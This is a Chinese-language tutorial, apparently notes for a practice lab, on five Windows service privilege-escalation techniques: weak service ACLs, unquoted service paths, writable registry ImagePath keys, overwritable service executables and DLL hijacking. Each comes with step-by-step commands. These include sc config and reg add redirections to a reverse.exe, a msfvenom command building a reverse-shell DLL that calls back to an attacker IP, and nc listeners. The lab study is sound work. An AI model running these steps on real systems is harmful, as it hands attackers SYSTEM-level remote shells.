1. 不安全的服务权限(直接改"菜单")
-
一句话人话:服务本身是"金库保安",但你手里有"金库管理室的钥匙"。
-
具体套路 :每个服务都有一张"权限清单"(ACL)。正常情况下,你只能"看看"它。但这里因为配置错误,你普通用户居然有权限去修改这个服务的"运行设置"。你直接把设置里"运行哪个程序"这一项,改成你的恶意程序路径。等保安(服务)下次上班(启动)时,就直接运行了你的病毒。
-
关键点 :你得确保自己有权限启动/停止这个服务,不然改了也白改。
2. 未加引号的服务路径(利用"断句"漏洞)
-
一句话人话:Windows是个"睁眼瞎",遇到带空格的路径没加引号,它会理解错你的意思。
-
具体套路 :假设路径是
C:\Program Files\我的程序.exe。Windows会先傻乎乎地去尝试运行C:\Program.exe。如果你提前在C盘根目录下放一个名叫Program.exe的病毒,服务就会把病毒当成原程序运行。 -
关键点 :漏洞利用的不是最后的.exe文件,而是路径中间那些带空格的文件夹名字。你需要把病毒文件重命名,放到它能"断错句"的那个目录里。
3. 薄弱的注册表权限(篡改"服务档案")
-
一句话人话:绕开服务本身的管理员,直接去改存放服务信息的"档案室"里的纸条。
-
具体套路:Windows有个大数据库叫"注册表",里面记录着每个服务具体运行什么程序(记录在ImagePath键值里)。如果这个"档案室"的权限没设好,普通用户也能修改里面的记录。你把记录里的程序路径改成病毒路径,服务启动时就会照着错误的档案去执行病毒。
-
关键点:不管服务本身权限锁得多严,只要它的"注册表档案"能被你改,你就能提权。
4. 不安全的服务可执行文件(直接"掉包"文件)
-
一句话人话:不搞弯弯绕,直接去把原程序文件替换成病毒文件。
-
具体套路 :原服务程序在硬盘上的位置(比如
C:\Program Files\xxx.exe),居然允许普通用户写入。那太简单了,你直接把自己的病毒程序复制过去,覆盖掉原来的原程序。下次服务启动时,运行的就是你的病毒文件了。 -
关键点 :这是最粗暴有效的方法,但记得先备份原文件,不然系统容易崩。
5. DLL 劫持(当"临时替身演员")
-
一句话人话:原程序要找一个"帮手"(DLL)干活,但这个"帮手"失踪了,你趁机把自己的病毒假扮成"帮手"递过去。
-
具体套路 :程序启动时,需要调用一个叫
hijackme.dll的文件。如果系统里找不到这个文件,Windows就会按顺序去系统变量PATH里的文件夹中翻找。恰好,有一个你能写入的文件夹(比如C:\Temp)也在这个搜索清单里。你把自己的病毒命名成hijackme.dll放到C:\Temp,程序找了一圈,最后在这里找到了你的"假帮手",并以高权限加载执行了它。 -
关键点 :特别依赖手动排查,需要你用Procmon(进程监视器)这样的工具去抓包,看看程序到底在找哪个"失踪"的DLL文件。
漏洞类型 攻击入口 操作目标 关键门槛(一句话) 1. 不安全的权限 服务本身的"设置权限" 服务配置(SC命令) 你必须有改设置 的权限,且能启停服务。 2. 未加引号路径 Windows对空格路径的"断句错误" 路径中的文件夹名 程序所在路径必须含空格且没加引号。 3. 薄弱的注册表 存放服务信息的"注册表" 注册表里的ImagePath值 注册表键值对你开放了写入权限。 4. 不安全可执行文件 服务程序本身的"文件权限" 硬盘上的**.exe文件** 你对原exe文件拥有写入/覆盖权限。 5. DLL 劫持 系统查找DLL的"搜索顺序" 丢失/不存在的**.dll文件** 系统搜索路径中存在一个你可写的目录。
准备工作:先摸清家底
在动手之前,先用winPEAS这个大扫描器把目标机器的弱点全扫出来:
.\winPEASany.exe quiet servicesinfo
这条命令会列出所有服务相关的"可疑配置",比如谁有危险权限、哪个路径没加引号、哪个注册表键可写。扫完你就有了"嫌疑犯名单",接下来逐个验证。
类型1:不安全的服务权限(直接改"菜单")
原理 :服务的访问控制列表(ACL)配错了,你一个普通用户居然拥有SERVICE_CHANGE_CONFIG(改配置)权限。这就好比你能修改"金库保安"的值班表,让他去执行你的指令。
实战步骤:
第1步:看一眼这服务现在跑的是什么程序:
sc qc daclsvc
sc qc是"查询配置"(query config),输出里找BINARY_PATH_NAME那行,记下原始路径(备份用)。
第2步:确认服务当前是停着的还是跑着的:
sc query daclsvc看
STATE那行,如果是RUNNING,你得先能停掉它;如果是STOPPED,直接启动就行。
第3步:把服务的运行程序改成你的反弹Shell:
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""注意引号写法 :
binpath=后面有个空格,然后\"是转义引号,照抄别删。这相当于告诉Windows:"以后这个服务启动时,运行C:\PrivEsc\reverse.exe这个程序"。
第4步:Kali上开监听器等着:
nc -lvnp 4444
第5步:启动服务,触发反弹:
net start daclsvc服务以SYSTEM权限启动→执行你的reverse.exe→反向连接Kali→你就拿到了一个高权限Shell。
类型2:未加引号的服务路径(利用"断句"漏洞)
原理 :服务路径是C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe,没加引号 且包含空格 。Windows解析时会把C:\Program当成程序,后面都是参数,于是会按顺序尝试:
-
C:\Program.exe -
C:\Program Files\Unquoted.exe -
C:\Program Files\Unquoted Path Service\Common.exe -
最后才尝试
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Windows的
CreateProcess处理未加引号路径时,不是"从前往后逐字解析,遇到空格就切开",而是按空格位置截断后,逐段尝试作为完整路径。
如果你能在第3步那个位置 (C:\Program Files\Unquoted Path Service\目录)放入一个叫Common.exe的恶意程序,Windows在第3步就会"命中"并执行它,根本轮不到原程序。
实战步骤:
第1步:winPEAS扫出"unquotedsvc"后,sc确认一下路径确实有空格且没引号:
sc qc unquotedsvc
看BINARY_PATH_NAME那一行,确认是C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe这种格式(有空格且没有双引号包裹)。
第2步:逐层检查你对哪一级目录有写权限:
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
-
-uwdq:检查用户的写权限(Write) -
路径含空格的必须加引号
从根目录开始一层层往下试,直到找到第一个"你有写权限"的目录。注意:C:\和C:\Program Files\通常普通用户写不了,C:\Program Files\Unquoted Path Service\如果配错权限,可能就能写。
第3步:把reverse.exe复制到那个可写目录,并改成Windows会"截断"的那个名字:
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
关键 :改名为Common.exe(不是unquotedpathservice.exe),因为Windows在第3步尝试的就是这个文件名。
第4步:Kali开监听器,启动服务:
net start unquotedsvc
服务启动→Windows依次尝试→在C:\Program Files\Unquoted Path Service\Common.exe命中了你的病毒→以SYSTEM权限执行→反弹Shell到手。
类型3:薄弱的注册表权限(篡改"服务档案")
原理 :每个服务在注册表里都有一条"档案"(在HKLM\System\CurrentControlSet\Services\服务名\下),里面记录了它运行哪个程序(ImagePath值)。如果这个注册表键的ACL配错了,你的普通用户居然能改写它,那就绕过了服务本身的权限限制。
实战步骤:
第1步:winPEAS扫出"regsvc"的注册表键权限太松。
第2步:用PowerShell查看具体权限:
Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
输出里找Access部分,看有没有你用户的Write或FullControl。
或者用accesschk确认:
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
-uvwqk:检查用户对注册表键(Key)的写权限
第3步:用reg add命令覆盖ImagePath,改成你的reverse.exe:
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
各参数解释:
-
/v ImagePath:要修改的键值名称 -
/t REG_EXPAND_SZ:数据类型(可含环境变量) -
/d C:\PrivEsc\reverse.exe:新数据(改成你的程序路径) -
/f:强制覆盖,不弹确认框
第4步:Kali开监听器,启动服务:
net start regsvc
服务启动时去注册表里查"档案"→看到ImagePath已经变成了你的reverse.exe→以SYSTEM权限执行→反弹Shell。
类型4:不安全的服务可执行文件(直接"掉包"文件)
原理 :这个最简单粗暴------服务程序本身(C:\Program Files\File Permissions Service\filepermservice.exe)的文件权限配错了,Everyone都能写入。那你直接把它覆盖成你的病毒就行了,不搞任何"曲线救国"。
实战步骤:
第1步:winPEAS扫出"filepermsvc"的程序文件所有用户都可写。
第2步:用accesschk确认文件权限:
.\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
-
-quvw:查询文件的访问权限 -
看输出里
BUILTIN\Users是否有FILE_WRITE_DATA或FILE_ALL_ACCESS
第3步 :先备份原文件(好习惯,防止搞崩系统):
copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
第4步:用reverse.exe直接覆盖原服务程序:
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
/Y表示不询问"是否覆盖",直接替换。
第5步:Kali开监听器,启动服务:
net start filepermsvc
服务启动时运行的是已经被替换成reverse.exe的"原程序"→以SYSTEM权限执行→反弹Shell。
类型5:DLL劫持(当"临时替身演员")
原理 :服务程序dllhijackservice.exe运行时需要加载一个叫hijackme.dll的库文件。但系统里找不到这个DLL("NAME NOT FOUND"),Windows就会按系统变量PATH里的目录顺序挨个找。恰好C:\Temp在PATH中且你的用户可以写入,那你把恶意DLL放到C:\Temp\hijackme.dll,服务加载时就会"捡到"你的假DLL并以SYSTEM权限执行。
实战步骤:
第1步:winPEAS扫描,重点关注PATH里有没有你可写的目录。同时accesschk检查你对dllsvc服务有没有启停权限:
.\accesschk.exe /accepteula -uvqc user dllsvc
必须有SERVICE_START和SERVICE_STOP权限,否则没法触发。
第2步:sc确认服务运行的是哪个exe:
sc qc dllsvc
记下BINARY_PATH_NAME,比如dllhijackservice.exe。
第3步:用Procmon(进程监视器)抓取该服务加载DLL的过程:
-
打开Procmon
-
按
Ctrl+L打开筛选菜单 -
在"Process Name"上添加筛选条件,匹配
dllhijackservice.exe -
取消勾选"注册表活动"和"网络活动",只保留"文件系统活动",让结果更干净
第4步:启动服务,触发Procmon记录:
net start dllsvc
第5步 :回到Procmon,看输出日志。你会发现大量NAME NOT FOUND的错误,都是程序在找某个DLL。关键线索 :找到一条记录,显示Windows尝试在C:\Temp目录查找hijackme.dll,但找不到。这说明C:\Temp在搜索路径里,而且你能写。
第6步:在Kali上用msfvenom生成一个恶意DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
-
-p:指定payload类型(反弹TCP Shell,64位) -
LHOST:你的Kali IP地址 -
LPORT:监听端口(这里用了53,可以换成别的) -
-f dll:输出格式为DLL -
-o hijackme.dll:输出文件名
第7步 :把生成的hijackme.dll复制到Windows的C:\Temp目录。
第8步:Kali开监听器(端口要和msfvenom里设置的一致):
nc -lvnp 53
第9步 :先停掉再启动服务,触发DLL加载:
net stop dllsvc
net start dllsvc
服务启动→加载hijackme.dll→Windows按PATH顺序找→在C:\Temp找到你的恶意DLL→以SYSTEM权限加载执行→反弹Shell到Kali。